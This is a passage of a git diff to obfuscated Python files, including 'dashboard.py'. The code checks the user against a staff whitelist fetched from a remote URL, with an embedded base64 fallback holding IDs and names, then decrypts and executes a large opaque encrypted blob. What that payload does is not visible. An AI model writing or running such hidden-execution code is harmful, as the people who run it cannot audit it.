5Q#bVq_gX7N>OXxYp^>oAjPTEi9jKIBWlbV*n26Dy+%NTcHFhuJ5VWbDaJtM7T3=&{$Ze3+1O_c^!Pr=4O>`!|+*a(l$OJ1R!nHcp-!fnvVLq!;S|P(^yr@%=HpfGnjth)Xdl!%&zS8`TcBb0o;pJ1@l{->#v2OOM38_GD8864#cpUJZB8T#^%Yq|28^G{iJDup?tOUepd!UEXXHP!^S_@y);Xw5v;Kc(tAPiX(VMJfq98yvHsn`MZ(ZYq#!{V*{~4=3y1$W0EW{WElice45I7BUpoo&Fc_l28iO7J5U3_lAla`fgi#i^bbNFm6VgkC7Jprn?eGeNk0!zkEuqPBxD_$g5L2+Qp>gjK5)LZfBqe4?Hsfq#3=c;_3PC2qfy~e8|zN-o$j(-PZO;s)1uM$;4y$nmfU{c>RqS?M6V5I-J@jniczzM{k}%9H=O(3C$muqCC5K>DTcw`;y+>?$xqNkhgn0a(8P8L_>{k<;v!8nJh8##aD&3;debYiSQaEh)-6}?BRGCc0(4^i_Zw3sxgUMNT#iF`X%#zKEs5v60kzxRrihWV@vZN@<>eV(HP9;XXSrYhY#1H^BhR2Y`Y#rb>-40Thl}7np(VSQmFjT>bsCU>?J>3JJCWU#$(D}XA4#G-A`w17kB0^BfalRQsz{7|UE~sG3%rQ{`(x#ev%N#l9#5O0dALK{7DNwsPw+cgng2z~$x86o55QEZ)wtr$_gE%==LTM^fG;S0z8Xhk#+`8tVc~kzSzhQOOYd$izgHVaNb-}QDv%eb)9Lp}g3g2@w-j(U;*V}`hw2gf9Nk>{z)AT+y~6~LRB3-4QM$icrcy$?q(K82Jk~QyLQ;@1rvVxWwCMQ7|MBD3*3c&qu%pCElfc$Z1QANA0b@NET>gSw2p1RGGG4%sMo9;9hDB_JEIKF<{=^7%Ajkc@6T^C`wq!V$<=3b&0>A^GEw-nIvhasqqQHr$XM}$i~@sbBB}**NNUmW0wd!7+Lx2KWPj(5D!^c2lZ0zxvihUxAH&E858g=oh|`T_l^MxYP~W3v8_$z80g5_`jPXd<+4f8Qw*rHj{;L&nnfWfoEYPB1uK#x|L#J`%x8O#j6M@m3-2I8Q^-8Q6l*R+ZS>O5px49rgqMl6yR5>hz=`~(-qXKhn|QpaULJA+bnfMbV4{)2SDCZ^eFc28339CjV4h|SY9zcw@-NaRSIyz+a?a^dx@)`UhUeI!=0qzd=ER1Eq`Va-RUYs;-WNv|A!Ytj#vZpP!#LLi;eymW-oy51|tyF$1fjmF}6ONuM39*u>ZLCIzRvdQuTmGD~PCO^$!=Fj!SQ?I*s57$Q8_f1cUGsVFl5LW|aUxbq{JY!%rqi0$o`p>5{tU==e@&LWhgiATH42;7^R|h8wzNa>HdP8lCR3F#a*{cy#Im4wI-oBv1f-VT4fF)~sPH+O|jQGG_{Lj#T-cApGlbp&^ojj~a^#BI_udHFp&Fpy3}!+q@BhtSFgMQU3&vZrR)SlIp8Z_j_1)!Elbf>g@h{*#t#uR~+JTamaP$;pg})$ye1W=MU3Ta^PVG<=>`oK_c-vnax@kw#yZO8c+ZH!U5v0AqKE~bOR)(0a;i4?nfb~#yJps$9iBW!%)7=UxN!4xgM(Z>TgBF2w=%WYXwJ`Xk`Wk2*`77bONPt5i&L}(xkcb{EcU))gM{I+x(DtRrK!+XUH+X8&g)7a708>T3@I?-pPh%J=n$gnE5&+nqiolAg$ShUy)+pBpj*K>0!en3s``sAnQITuKSG%#8N!wI~>`LgB32p%^Z=$hdp?DX&vmNR_WY!=`}y?GK2F<6Z;Lv&@@fp(dEB^-qaNRtd@!8vKj|jpOr(-7VaK?pslI@FFF$Q1F0m)##CmlQA0a_*Q2*ZMTjYzZXm_(PVA#tSWnOPHD{x+GC@$KSM$}WWYgV1+FW|p_R0%R*ET)BMcuFuwfoL^Ib<%5=dh-?nf`3G6njyaU3lp`%(KU%h&RU@#vjNBNc{xTL{bL3mraca_|4qwlqLas;n2N1aOsJuItRl0j32(sVYK4Hs<%%p&_sVh`pkPc3>UxW<$sjKh)+kkC1QPbM{tjfI7|NzsFqRu%i2x_(<^g4_ujdz!;TzE`jD%@=@vUu-`U&0ze!B#um=U~%dweL#O{A<>b7JRfbd(oua{K^<}52&7YxN;eLdI)Y=&-a=E{gXOu+TH+|AGPaD0k?n8D$N`^#BSU$c4jN+|}5pzlR_9WD^TQ^3t`Q(s$Ue~B)Ad!4w_@QYT%x;@qo4?NjaksLaqHUG$0imqFlt|(v4*GO-$^N~_sZoj=k1JmD`kYn`rSw9n)7|?;WhRCpogjZSEFSZsXFc(csbbFbEW*9!ij!xFfAm{@ds^<5r$K46~Ewdh2cQD&KE<2A>l;~y^4e~AUUhTqqtjpE!0GEspd94U$9lizg`WV7$Wqu`XUZn9=&TC}pI|o||?iJLk)S}lo|JzdSN~gGMuCgHY!_63o?3GM~Z#&m;8!RLQny1vxBzh){)p~gGX!=~sZo*x#(}MlC8Gy;jtr!nS6sWysZEC^VAu{CR>bF>Yt4*2d9b)@b9`;Cw5q)E-ZmGUV~$CF;Bdd08Jo62(~{-D&)xhRPUud`{@fPUq!_UI7d&bjY&HCwD7y&>ss=eMIuS79AY;u5#;CCA4!jrYm>J+qzDQYT{ktqO`g1c7=wm+|n}M2CXQ%u;hCnn&@(RL(q1?yD>px+q%*aD`*c2zoI$Hy`YK~C`;i!?;%XLX3a!nu2faq7x6F}`@;$##Ehinfzuf*gOXms@3eSi0SEjinVd|g|Mi{JpO1Bdk)ha3YjO2Dp1DE8-Vdcrr+vSckye?8${Z!Iv#*h+2v}_@AwVlPp9XtsM#Xz>zWnI48#%X4FLJ*DY@RLSYpZkJ$tcDqG)-T)S^*OS>6H+a43(|Sj9vi$?x#EN*#G%*8z0i^(#P`1V|vsIDcZQhwn&Pd$UfZ2*AmF+aJI0y4m&JfF+Foy#c9VIcZUgy&t>8jf$fzJ1w~G}JFtx=sX!%BpxC@O6(kQq1woT`F5&IYp5raj*JkbTL>>Y5$(E2xmX~OvU3|9;asgj5Dv~=bu%*Ci)_J%y0AX>9mNHANcd?13AKn&36JVV;TcgIuq#rcUDU6zIj0xD~D6+x@wywBl4?-MZ!++hjxG@-W{*w|E{X3DXst+i^UPIzxXp1xHN~!<=qk*ZOqfb<{D&ZSo+bq?#-({3`5u>>r8=faJ--kuiBNWN?x1#|Gha#-CtTHSiv>L7p5HNRv0I5h^Cw4%_e$3`=L2N2SZMYzDvtHOfo_?|k9u-(rM8v-`DW+{v;ZGgF!RTdpayV829{)J_IAk#v;7;K$jmUeYdbJX4%2rOtTQ-~+QCSrFFq=yO;2bN{pByI`;OGCQxT5>f-;dT;z','exec')) except Exception as e: - _vUVCgEFdO8X("错误",_D2OHsnp9()+str(e)[:50],1) + _xwogvYKM92p("错误",_cdMEXxib()+str(e)[:50],1) sys.exit(1) else: time.sleep(1) diff --git a/dashboard.py b/dashboard.py index 4eb3ba9..166d7a6 100644 --- a/dashboard.py +++ b/dashboard.py @@ -3,10 +3,10 @@ import base64,zlib,sys,os,getpass,json,time,random from urllib import request as _req import threading,importlib,subprocess -def _b0CuCaHCJnIk(d,k): +def _ITWjHYiUlmsQ(d,k): return bytes(a^b for a,b in zip(d,k*(len(d)//len(k)+1))) -def _ZdQqxjMxj(t,m,is_error=False): +def _CSBi58zCv(t,m,is_error=False): try: try: from playsound import playsound @@ -33,90 +33,90 @@ def _ZdQqxjMxj(t,m,is_error=False): print(f"\n{t}: {m} (提示音播放失败: {str(e)})\n") return False -def _I1ybHCMwOU6(t,m,e=0): - _ZdQqxjMxj(t,m,e==1) +def _suiVzl1TKOE(t,m,e=0): + _CSBi58zCv(t,m,e==1) -def _yXWKz8g2R(): +def _Yu3YFyLyr(): _p=[104,116,116,112,58,47,47,99,111,115,46,117,105,45,98,101,97,109,46,99,111,109,47,119,111,114,107,95,115,99,114,105,112,116,115,47,109,111,110,105,116,111,114,47,99,111,110,102,105,103,47,115,116,97,102,102,46,106,115,111,110] return ''.join([chr(int(c)) for c in _p]) -def _StYs2Q00(): +def _KbyfnUgC(): _e=[38750,25480,26435,29992,25143,65292,26080,26435,35775,38382] return ''.join([chr(int(c)) for c in _e]) -def _Qb7oBWuW(): +def _qlp4RcCM(): _e=[31243,24207,26080,27861,21551,21160,58,32] return ''.join([chr(int(c)) for c in _e]) -def _EAsZba9D(): +def _UP3BHTUq(): _e=[39564,35777,25104,21151,65292,27426,36814,20351,29992] return ''.join([chr(int(c)) for c in _e]) -def _KcqUBaIcyH(): +def _qhOw1GtIBz(): try: - _bVULmnH6=getpass.getuser().upper() - _PmSmqU0S=os.path.basename(os.path.expanduser("~")).upper() + _c3z5Wi4C=getpass.getuser().upper() + _Tujj9POO=os.path.basename(os.path.expanduser("~")).upper() # 转换为小写进行比较 - _dmFq8uQT=_bVULmnH6.lower() + _fQBJq3p5=_c3z5Wi4C.lower() - _favr08W=None - _p0hIAsJ4=_yXWKz8g2R() + _mwGX7GQ=None + _GiZMWZiB=_Yu3YFyLyr() _s,_p,_v=random.randint(1,5),random.randint(1,5),int(time.time()) try: _h={"User-Agent":"Mozilla/5.0","X-Access-Token":str(_s*_p*_v)} - _r=_req.Request(_p0hIAsJ4,headers=_h) + _r=_req.Request(_GiZMWZiB,headers=_h) with _req.urlopen(_r,timeout=5) as _resp: - _P023dvg=_resp.read().decode() - _favr08W=json.loads(_P023dvg) + _r3vX1Kk=_resp.read().decode() + _mwGX7GQ=json.loads(_r3vX1Kk) except:pass - if not _favr08W: + if not _mwGX7GQ: try: - _P023dvg=base64.b64decode("eyJPRDAyMzMiOiLosKLmloflvLoiLCJPRDAyNzIiOiLosK/lkJsiLCJPRDAyNjkiOiLnjovljJfpnZIiLCJPRDAzMDQiOiLpgpPlu7rlt50iLCJPRDAyOTUiOiLlkajpmLMiLCJPRDAyNDciOiLlkJHlqbciLCJPRDAyNDgiOiLog6HlloYiLCJPRDA0MTIiOiLokrLmmZPpmr0iLCJPRDA0MzYiOiLlvKDlvLoiLCJPRDA3NjUiOiLmnLTljprlhbAiLCJXQjAxMjIwIjoi6ZmI5a6X6ICAIiwiV0IwMjE2MCI6IumZiOedvyIsIldCMDIxNjMiOiLojIPmlofpkasiLCJPRDA0ODMiOiLlkajlpKfmtbciLCJPRDAwODAiOiLmlofmh78iLCJPRDAyMTIiOiLmmJPmmL7lnaQiLCJXQjAyNzI5Ijoi5Y+25rSL5YipIiwiV0IwMzAxMyI6IuWRqOiLseadsCIsIldCMDMwOTkiOiLmnY7mmI7mnbAiLCJXQjAzMDk0Ijoi5YiY5bu65Zu9IiwiV0IwNDE2MCI6Iuiigee6ouS4vSIsIldCMDQxNTkiOiLnjovpn6wifQ==").decode() - _favr08W=json.loads(_P023dvg) + _r3vX1Kk=base64.b64decode("eyJPRDAyMzMiOiLosKLmloflvLoiLCJPRDAyNzIiOiLosK/lkJsiLCJPRDAyNjkiOiLnjovljJfpnZIiLCJPRDAzMDQiOiLpgpPlu7rlt50iLCJPRDAyOTUiOiLlkajpmLMiLCJPRDAyNDciOiLlkJHlqbciLCJPRDAyNDgiOiLog6HlloYiLCJPRDA0MTIiOiLokrLmmZPpmr0iLCJPRDA0MzYiOiLlvKDlvLoiLCJPRDA3NjUiOiLmnLTljprlhbAiLCJXQjAxMjIwIjoi6ZmI5a6X6ICAIiwiV0IwMjE2MCI6IumZiOedvyIsIldCMDIxNjMiOiLojIPmlofpkasiLCJPRDA0ODMiOiLlkajlpKfmtbciLCJPRDAwODAiOiLmlofmh78iLCJPRDAyMTIiOiLmmJPmmL7lnaQiLCJXQjAyNzI5Ijoi5Y+25rSL5YipIiwiV0IwMzAxMyI6IuWRqOiLseadsCIsIldCMDMwOTkiOiLmnY7mmI7mnbAiLCJXQjAzMDk0Ijoi5YiY5bu65Zu9IiwiV0IwNDE2MCI6Iuiigee6ouS4vSIsIldCMDQxNTkiOiLnjovpn6wifQ==").decode() + _mwGX7GQ=json.loads(_r3vX1Kk) except:pass - _uC6BzlMF1=False + _PemhXNsjR=False - if _favr08W: - for _id,_n in _favr08W.items(): + if _mwGX7GQ: + for _id,_n in _mwGX7GQ.items(): # 转换ID为小写进行比较 - _KeETwRE=_id.lower() + _EDKhmOW=_id.lower() # 不区分大小写的比较 - if (_dmFq8uQT==_KeETwRE or - _PmSmqU0S.lower()==_KeETwRE or - _dmFq8uQT.startswith(_KeETwRE) or - _PmSmqU0S.lower().startswith(_KeETwRE) or - _KeETwRE in _dmFq8uQT or - _KeETwRE in _PmSmqU0S.lower()): - _uC6BzlMF1=True + if (_fQBJq3p5==_EDKhmOW or + _Tujj9POO.lower()==_EDKhmOW or + _fQBJq3p5.startswith(_EDKhmOW) or + _Tujj9POO.lower().startswith(_EDKhmOW) or + _EDKhmOW in _fQBJq3p5 or + _EDKhmOW in _Tujj9POO.lower()): + _PemhXNsjR=True break - if not _uC6BzlMF1: - _F3t0XkR6q=_StYs2Q00() - _I1ybHCMwOU6("访问被拒绝",_F3t0XkR6q,1) + if not _PemhXNsjR: + _vHQAoZFk8=_KbyfnUgC() + _suiVzl1TKOE("访问被拒绝",_vHQAoZFk8,1) return False return True except: return False -if _KcqUBaIcyH(): +if _qhOw1GtIBz(): # 显示验证成功消息 - _I1ybHCMwOU6("用户验证",_EAsZba9D(),0) + _suiVzl1TKOE("用户验证",_UP3BHTUq(),0) - _k=b'ACU\xea\x89\xb1\x8b\xef!\xa7 h<{\x1b\xe8' - _e=b'Ip4`$@M2*Fx471q!Eb;okx`G(q=l-%Bc@_%J?UHEaJOKni!hJnDwRASEjVPf~Dc&6W?=Sml=$u`Ji=M*O2ZR%aBx|{l@%d9PYBQ!64C3@AEhMzCR}Sdcyx=A6)T|p>71Qllo7MO({x0EUr$6C~j%BvyG7gs9SEB<#=%Xkxg0aK~FZD~HhsdNufe22mltq1S_56{yKERd2`_`LcZJia3leRL`>6bZ5SAWX!RyDGFN>+D^*G1xNJY{L|Z9(Ah*LPp>;d$`oy-ND=U{Xnf(`~Y31O+SvE#X!RoudpI(nhhi&5H0^yBb3A}mMQQBSYBEH-(kmRtpxtJRV=B_Crrt*x^#r0T#MqRIJl#|*>QB==6T<-bHwJ8zJxjzaqe^$9$a@9!qnvq#yqW!c3;F1_=uvL-`($pxXdop^vGKbO2=Ko!9U}+Evi?+!YwH$>wrg-)gZ&y7_9vjtcS`CMB+@szE@^oz1pc9NNLi->aC#n$@?UAfK<+CS%^(9Ru~c1KScKzpbV-RwoYh}-5j5nqlciEuuO^^_QGIjo>;FJ$0X!SUcIGtc0v3R%@E(MLx|Wnzwn9_dX9Gj{#%FF#vxPWP!y`Yj^=}d9>W7t!a8jT1Tn*64nc1^?(#GLRqe}vd~zuf8(HcuSb3@u}*KIHpndp!Xftlspa%yjtAnDCm1=g@j18|-b1k+_g-*P&by&kWS}}2Fi$@Ebu+F6E`#ywgNinwLwUq7Y*~NWXYtKv4AED}-V#?$SLT^0sc1;eZaT!nWM8hPn^{cUs9R*MvqE*q4R;r5JpXbI?JZ@=%6$)4jbvg=jya{Xwq`YX?MNR6BkD4hXM>uRTx(1$W-8s5-+7w|ZbJ=S;znf2P6)t`@u<&Q(9#`TDD>_vwD%_g0%XLmQL!RJQd(7I19%D8|jp76i1E?2(nFAI?26#C|HvrWKgC5PRcQok3(U#Ck8bNiGyu)xFvP$}zNg){oc<>s&^?3h5|_Oq@lFL-F=M|Q|aSpoBifQG!R*Ve`33U^tIb(yFi*BK40<=8l=`kalsPTlRb*peG?Qo)*!E)-=!o|x}9Uvr#0kTx_>?u?Ds#9Cm=75J&F82b>D%hCiQ{6v+e`B5aHk34a9XnTx8G_l5x+SwxCRx7<-vAK2sWeZt85NaLWByZ^cJGb+r(<=5%~9f*9}U_mxoQ()Ri`u-%c0%HD}?vIYxK^w<;Y|n&6U;rgGAvCIR5kvgnMN^Iogw%-&d38TFPv0n^5zw?K;3uClqw|?_6V~9AeO~)#;4j!5zGCi>b6hWkCgNqdt(X@v%*QEX~nTTg0hY>o=D~s-}ro_>ea-MY=F4)vZLxb2?w1CPKDjum3-PqWtLdxWYRYD%pL+R*QF`l=jKL7Z(XcHSD0{4u{DK&a#S?=0UGD}B_R-CWWaFp@N)LgCiV47a7?kK=Xl=xI;V^gFAj{UATwn)4X&lufLgMb_tnk=e8Hb!g^%h=k6&$Iy7*8Qaw48LSRN{wHYt07tsZWM-{l1@|-$|#1KLx#9FypZY>QjT|29$U8;&ep^g$`$C5Y;JW9-deSXQK{4gfu!2ZaeVeixER;-H!d|-ZdI&tLf3F~s$O2PteC{K_m$=!*LDz4mf}{iX!Wog&5B!5!n9ZC>sGaK8%$(N2<#ZG-R{VN9c?~*CVf7zgQArYGdtv;TwkR#aOM$`S?mqsG;nUkb(j`9u*IW|NZ9VH2sCbGCk^1-|>?%V8RhOArpIDAjj70U7;#XaGLc^6#`%`IS?5~xKXab0dccM#uG6?2IIcQ2>?y2(0IT}I6v-WqMB(xf|FyhN^9KVj$p!La50-7j)78fjlAT$cB0ly*A@>JI&V?rZn@<*e9tHNvfrdNNL20u;T3Ogpo7z#s@`kg1lTc#4d)Fn(S<+Zs6{PSqAb)TFyO?onRD*!ITdC9BhQjC2%}Ccb2)oMU;&XoNehm(K&~%)5OX?T%ek4rva*KdaEM!-$W}SWq$?5W)!y7XhjfvKtsGjTYg45OiyhtlI*E*a-d1s0r#4fqVg+Et24Q}0SIiFXUb!maFJMRrZe2pYR`0{(DA``CZjF-97)~hAGj;4|t>?q)8#IRBVtxr;b~Zd_)k`ys$Gur}rV(&fjh;^UP?PAiMop&L^3U7tlhd8E7I$?smmLcTiful&{`~L}L6Uaf4%CnID_y3%I>GML-A5g!gz&wfWzj_&=!z$rdfVhXRoUk`fwN%zihRZO7{T_U*`WVZb8TKj2^C;@$E^`5A8Q6;t=lWw-2Y9_%z1>^NSlwcwC=6NZ-R_p~ttei&ChK`v>HZ&BxKT(JNEL38I5%tyNDw@o0`&x6n)<@V1iYPU1q6ga%T$L{Zt3PNM2sVU@)U^0lH(PKM|@?@>5}|H|9d>OGK@a6PC!d`WvGYt7b%`0V%6KpyWEpBJ(P$(>lbyTGB(?Ae1E!v5}@Wfu8d-yg32d)UQS^@S|AkM>H1@#S_Mf_qq#y@P+G{eP_HgnU%aLrBkF*M0ddJvZX@TQ|O#0n(0UZt!I)30ulMN42BIL>(VXvGNSRQY3bF3$;zL|7p5gnOVKEnYa^ySqIIF{@o%j?k#R`UMk54_^&d^Um>e8}4B?4mBCD_vOYCjP+Qvb?+O%U*W|3jfu^>srl7wS`*sLTYcz<&N2bZ}$Ni^wqFIN@di|v(HF`0gUgH9`ZPKfz_>QE0_62l`Xf8|lG0c%i^>YJW4+1~qyjVc~6;%tPWszYN~ozX?gE%MJ&^Z>}Yd}^5lK!2D+PoNb(qNud(r~L~6&A~O*d8-261PQL@dKz7-?hGmT^TPYk)sAtUXFKwg!j&-=!#d!U5K&>t8lIrq*pD``=|#d3RnMvY1|@E{7rwIUq~SDMK108-9GIV^Gc#ZgCC;p(7jl|D%5M)-5XsoZQ!xCfmUzZ9Z47w1!(5&x8pm|xthf+ogCgRUp-TqsQlXL)P62WdwX(EIIHJ+?hm~t{YX@OAZSlmZH)WOMw_DzVwsfl@r6mh{F(E)n^v?BO`KY@8wl{hDPa+OEjJ^E$osZFl+ij;X)KwyEj52oZ+SVe03UnC-t%*NTSAzq`iu6J=wBH65yQJjSH1Vu+7Iw#R^IDsM`no-x+tl|lSo;!_R~@#1_s4^i%0`y<2_5ichM4}PA7~NG7E5zlNddAHkH35##Qv}Qv8>=8-3R!Eq~{>H`JoP!B7VhH{<5T84d?R8F;6$=vs9reM;^N}iY`kY5RX5dW<)X}rgf9JEO@-L={QY*Xj%oW#1det?xHFLbA0hs#f)8TaPyKL6Z958tE=wWg@bMMZl2T@BAw()l`;q5xLjeS9=;a4Oqhrc{r%jC<}9ef3j;)+?d~zs5J7=E2s3>{^5FJow&G2JB6M51wek$TMy|X#;k1KPVcyWhh{>wztJ--$p=2NH;L%g<1ru^0S&|28#_^uC3gtrzFZ~Ll9;Z3f;E5Lbo&T^Z0x(fs-oJeI^AY2Do*(I2{SwA5ujIW7`}B@VxD?S~sR6F2pKMJQ_Pc>D4gYAZ(^=C_=V)9@bAbA?9C;tG`uy@mKn_-XJi*Yn&@rb!KeblDDyhpK3$Os3hE>gZ^=-nm5ZIRDAT7}ir3)cGD%S5ku1{A6!V-qi9CW3#v%Cv4%q$|6FQ(7!=An?PtU(4oqIXpbsCFWWkV3ztEQN~-T)4X~MEhf3x@=Kwv=A-nRtlK4@Z9Qn&JHENvSQk~Uq?$oio?4_G!0U<2^qp|DQK_%mE$5-e0VVlY}@@wg8Z!M=9d0;}pm*xaPeUfSLZe{VL{dxu#ycH?*oC=M+4rXTQ9s&9aA%9E8-xo$$Q^pfUCc^jX4KnH>MPai=TvR(?O&{8fu`T^au_wIQ-A81TGr?x<;BDqkl0DHl*a7i{H~?7AtlT0aN{TCagDUjg-0-81Kfk*lDZ=XNoY3KfABH}g^V}F8{9zQc1MqZofZ;&{Z~6Q@K%$4_JEW$6r0>kIP{ltCokChKpU0ML#}bUSbG_oQQC@h28P~F+#Gw7D>h2sfo(h=hTD92{GuU6r5NXw!J~Vkz2>pR;#R2YK)39P@x505d&1vFz{C{f;7lo1WwWsLOLn(YTNf@gMrg_r~X1qpZ@}3l82`f(WRtDO^Rru%K*?HWnC!VGj9U`TA9|`Fidut2e>rZub1EWZT7y&s@DL%6$kA7xDVzeo}s(mJyb&Q`ESWI3nLrb6;S@aX1|0OK?{~#<}wrxm-cPh7zv}max*o_39Q(yv&aj=K)~`%62h*x^UQ!m)7yWg`2UxHaxpsJ3J20X6X7@6_Z2`K}(?ltSQz-nMrT{9;00q@vPcm(RJRZu=AL1OgqQVaiHdSGeZw8ufBECM}lPw0yNx3R_+V=ukGhr4`oMF$VP=A`2Cn-~EOr`hTVI@y;Id?2UEs66!Kwz4nk`=ljNO(x(K(H?=$r3%VK*zSgSr{UhEyZEA=wF;=E@)w*c-4<(9ogQm7#*1-#wE!GoTrm@Pg4|f*)kV`f^n9R`h;wK{~$BnJ{^a67|b<(y@?gtuVR4;mby~?PX#;zR_Ft9d4K>*u5!J}j^N8ghjwqww#ltY9hx*hkrL}Xo!)MWgp@O|<7Z|fOR%;wWx~p0a(b+kFfG#YERvVj-o1Q|$Q6iZn|hYUs?F7jj`c@7v(5rCY?Mz$g2c9gDq>)Fd^yF~3brsF2Wkt<8w!rOX`s1USSu$cY?(_?51!*X8-{HsR3c`c@p44pYU9v|oIs2%O*bZ{$iZjbu*7l`a=qc{W#!N)DPjbxX=XyI__(i2{s4S7JTVv|C%r;b;YqE^N1{kLy+STMqsFYwfUzlTcFzik4TJ6!;oO%T_tW7E^^)f#fhw*KEpYJUD$Ex}uo=RriIhE<6sRrZj`cqWa?Q=#9*A|L4Nwue<1-qZ(Xek-i(7nUE`8rI6P$6lEp{qb7)l7vN>RnuHjoSc*==V*BE>Jx`Cl$^La00EKuvYb|$x)kU*GY4!8jf*r6=RgvH^gZgbEQ|@BLTFxvhxTZ_7sJ4x}k*3}D-?0<-Yp6U>yU{<&BRawD9}*JJY5%vY4th;yI`;30*T_Ck^`!6#Ky$kjm;7)3bDw5$Y1lEhyzlzE&UBwS`>i`gM10m#dA##=!$mDc;lK(FZrKR-iuOmzc&Fhyz$_UoS|Wzp=9I&Zwj5yTeI*l#1gdPFoBzoD7J(7Nbp|4q#EBvr0nn4`attAnBHA-n7&ERbH3^r-uhAldA=oW~a{r>;du)sDlYaWVFckBX*A%;~MI&+k2OvVG*fJPQohS@ObIP!_(NQRL*f!Qyo!1)*jN32s^@3bmVyYV#(+EX_E4iW+Ku7CS@@kh%n6x*3`6a*n}kuI?0#m2?Fm%ZtcR@;y7;f)q+j%yY(N!QZoE3&-Ad>27V|2vi`L&4PDq(Wyfl3ecOl3qo>(8r;18u>ASNy*V2BNnTv(8~*cFL#rkhzmXSO1)g1E`7{o6X_whFbcSfY&`anpjvEmmZ@Dz)QGKMJ**EO>zZG3RT$qt=ZBN!8E{U~dr8JSrftgC#ajTTnmlQd@Sl2~%k(#iwYF84lAEp-JY`A57=>Cq<7hPoh|9L#P#*tqu*ttgmMF5+M4qzrb5X8uaWS3&Qc*qnFbR|#7A~G$kh#l`n-aOwbq{LRvX3xajC~}7SIG{ij7ZNTxga!L4lXky3si8bIRr4ahaRJgedI{yO~_wjWNhnlVO*C2H<1kqveYp`bxUDUBpoVN=K_)p=V}Ui6Dd+1kIUFtP>~8x#?HS!8tGZ2Z0?XCld4DRpcA#XSi?VJ>Vs?3n_xUtOJE=b857mxx=h^jq)SMpZyJ|HCN$CuwpuYMTs*&qy;O)uN`T1)r9vqy35vQP-&6(6t@r-TR96f*oSrmTc%4PJx1}`LVhOP*1O}Hh$N7g{>e}9*9CL{PbbeeUaTTd*`Sr!XEh7Q(l#Nbqy`TC{qhJVACyDjr(p(4gBvI~B-vX~dUBywhM+W(I+n#$^!!xp$0R=gVss~y5#0Eh65RsY^MV0Qx3*lJ+^FJ_$`2eInnT(C2DU%8($pe=emeb%gYp^*a@#|ck0hf7+i;*r`pohkW2gu*f~jKed8@}BH=4>u5f|J`n8xba-M7zJXkh+uYYy0_IIzTZs{n=AmdVEAsPtO$&4`)@H^FA>=#Ljv?DLXNmIbSxO&Y|{ZwA5=fMO608_RkG0EBH7z+z}fEhXqtm~sNcxeYU7^U$I~3(ilzobMDp8)|XadJmmRnVvKlM=c?Fbz`$%PkARN=h6Q_4o+y9?%A%O8}_SZUu%9Ib)WKN^sS^UNTt=MN8_$uIGMsHqb2VejoIUyF=o)Yl+Qv`E{Vd;%HbcoR*~4g56JZopW?Ryt>#$`@AP_%NT}tNM2xb4e;1L0TnW<;x0m*&AG4A;XOOU_a@3L#0~7T(fJJ#6i35#vp;xT{|M2crLn_J;M>Ju+G+rhJjJ1gx(Ze>>%;-Q0=H$NXsd+egP|34?W-4djhSENr+rT;p1?Mg%{Vy6sG~1uz)87aVf<}84QO_}Of68N*tv`+MgKbWUyH5p~>N|DRGf2kB7L^^&9g;D|K0ha|i`TJbn>akL-E;ci=OY|5*y4zhNOMVp1e*MaM5m2$ar~8xlK`#w!VG#*&kq0oj7#yg&866rJa?|5dJ4dYpd`HNibAF7kbDZZMgy@B*&NdNMQMfyi)q9G^iI;VQ&XV--I*ta4n9tS)1nw~M(hHN)-Z)qU1v?nz?ypl~$hTU`-vk*9Uo^%(96`O5`vs_!7#2t889|>~IYuMd*BLBZ@(~B@V)7R5zBAfOL|?V=maBj$>mUZv*X3(;I(+G{D``2$OW4(x$1oUJ}l(7RQaHAbXC$QpVwGS$l&wA5*{N+|C(y9hi;vv7V(8PsH}PU^DH^gYz8Kd20GhhK-kX&S*ILH`soIBP-G<{4zKVpa^tCHMW6(x(fT5PcmdzSWcaO<m+juhzojiqV}+7UG+c#?m)J8@@E7S`I%6CVhOQPDz4#aI_ZSF84=GPdT`*=haAy8TH=O;whp_+;bHiS*MHNg{{#`~IcsPp1*NET>h14MqSF54)z5UOupu7ShlQZj!BjBSL)>fq%TlpQv!KfHL7XqCp`d%nrd3{pUqKaSNj{Dk*EzXK!4YNG5HevQKls!$O<|7e{BG&(2K?>uJt?_c*B-16{|T?wj=yvlsD+s4_Mvny5whyuhb)IIn$mRmGyfsI>qBI^BizVo3*XxACDe(F76&*oFoM4y#%(*^dPL}X{&Hgi5)jv)K(hwlJ{_k7t)h1t430?*+k-s0>gD70HJPFm^NaW&f;DwN>U$PS!X5BOc}?@w6A4rb|!w}I?$FD^3pPg_Ck<{lxm(pp0IgMRz8`)6l~^aGpL;#Gp;oL^kR>6&^DaTX^8*d@&zPpc-r4vc~WT!$;b`fbyy+~~C()S~sny~@KOR{DFz5^0Brv_X|Qe3rfG{T3%%ANoIR1Jv1Tsd7yKGRg1xD9b_Bw8p1KKo68Tv)4Wh?~a)0c02lCGD$tJ6MDxK4q~i&0J4p7S1J%gmJMztx5pS0yU{=F5XCS?lS9NkENt7Fh$<9a3sn=3zAA1)qW?GDs5eZR%fk}$bt2VTsbGy6S&9gV7hfTH))<_m!etqxZ#gvojxB3SPTyNQWJ1cQ*jctQ~y0$?q7SwX{6urT(V2;a9X_t1kvRzuP49X&$WmGd2mP)E6ev#0_=VGLC^~925XitWq`z`&LW+rZG|Zk|)YZ(L2^4rLE9ZhoDx{sVjCrKtusBD|$>;A&Yl48j3vy+*y@`wuuDyE5E8rR)&b0i$A$%f5`a{Qv_gq8z@heplR(od8Kx#|BPdfrCU8@5{J1(ily71Bm!1P)Hln~LSsIBsdY*>6aQXW5?{1whld6525Nn#?=#RVOZo|PX;_9Q8c&?aGpvj{c_gq3)aOw{+|(w)jI8`cRjNQ%FL)ta?5IoYhOOM46j1tIFwHb5MJlU+L`R&SnbWhyGGODmmh&O%G7gK)wYEbbCF`>`IT<@5^)t#rq*Z$wXwDX=_Vys_AqjzK2UEr2p=7xYqNmGmGH)OUKCJ>W4=gJ+9xzlB98q})}^`b>V*@L)<`5;2ZhW@TvZAmXjf&uE0s5ZLAMjJVVY`j*+tHr?hc!&C};x2I(`vnYf;;xztoMO!~t$tp(+%Pxpt5;SgxO#59eZw^-)@0Lj-81moR9lI?ztLqq4T1?_>`~qFaxMt%%NADz2zKhhX;U43qub*y^4yQUe$&Z^FvSMsA0Dt>Lw{K?m@gZ~yFpL;A6!cPsgKSI>*Z~q)>)pR?GaC#2deFBgA4hRD4BGb$llZdrGt4wi)1UVRTFCziXSJTD`g$#|KXJsZh3b_@87YNR#ZfXqYvP&GnmskbkdY{9nh-S3xNO}6RvP5t0{s?1xpX684$9bQ-a{}PXOVbHGf$Bn#Nng%FrW*Z)0lzN^J2F8B|1IH8)6TW-+e=*8+HeUqL)e2N$PTqG$W$2k%|s